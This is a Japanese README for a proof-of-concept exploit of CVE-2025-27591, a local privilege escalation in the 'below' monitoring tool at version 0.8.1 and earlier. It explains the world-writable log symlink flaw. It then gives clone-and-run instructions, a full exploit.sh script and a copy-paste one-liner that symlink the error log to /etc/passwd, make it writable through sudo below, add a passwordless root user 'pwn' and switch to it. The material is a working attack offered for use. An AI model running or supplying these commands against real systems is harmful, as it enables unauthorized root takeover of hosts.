
v0.8.1 未満 - ローカル権限昇格 (CVE-2025-27591) - PoCエクスプロイト
Below <= v0.8.1
ワールドライタブルなログシンボリックリンクによるローカル権限昇格
PoCエクスプロイト
Below バージョン <= 0.8.1 には、重大なローカル権限昇格の脆弱性 (CVE-2025-27591) が存在します。
設定ミスにより誰でも書き込み可能なログディレクトリ (/var/log/below/) と、Rust コードベースの安全でない権限ロジックにより、ローカルの攻撃者は error_<user>.log を /etc/passwd などの root 所有の任意のファイルへのシンボリックリンクにできます。
below snapshot が sudo で実行されると、ログファイルがシンボリックリンクであっても、強制的にモード 0666 を設定して書き込みを行います。
これにより、パスワードなしの root 権限ユーザーを注入でき、完全な root シェルアクセスが可能になります。
git clone https://github.com/rvizx/CVE-2025-27591
cd CVE-2025-27591
chmod +x exploit.sh
./exploit.sh
または
エクスプロイトコード
# Title : Below v0.8.1 - Local Privilege Escalation (CVE-2025-27591) - PoC Exploit
# Author : Ravindu Wickramasinghe (aka rvz)
# Usage : usage: ./exploit.sh
u=$(id -un)
rm -f /var/log/below/error_"$u".log
ln -s /etc/passwd /var/log/below/error_"$u".log # symlink log file to /etc/passwd
export LOGS_DIRECTORY=/var/log/below
sudo /usr/bin/below snapshot --begin now 2>/dev/null || true # below chmods 0666 the symlink target and writes to it
echo 'pwn::0:0:root:/root:/bin/bash' >> /etc/passwd # append pwn (root-priv) user entry to /etc/passwd (now writable)
su pwn
注: IppSec 氏がウォークスルーで exploit.sh の代わりにワンライナーを使用したため、README.md に exploit.sh を追加しました。皆さんにとって簡単になると思いました。IppSec 氏に感謝します。 ^^
または
ワンライナー - (コピー、貼り付け、実行)
u=$(id -un); rm -f /var/log/below/error_"$u".log; ln -s /etc/passwd /var/log/below/error_"$u".log; export LOGS_DIRECTORY=/var/log/below; sudo /usr/bin/below snapshot --begin now 2>/dev/null || true; echo 'pwn::0:0:root:/root:/bin/bash' >> /etc/passwd; su pwn
sudo グループに所属し、/usr/bin/below * への NOPASSWD アクセスが許可されているユーザー発見および報告: Matthias Gerstner @ SUSE - セキュリティアドバイザリ
PoCエクスプロイト - Ravindu Wickramasinhge AKA rvz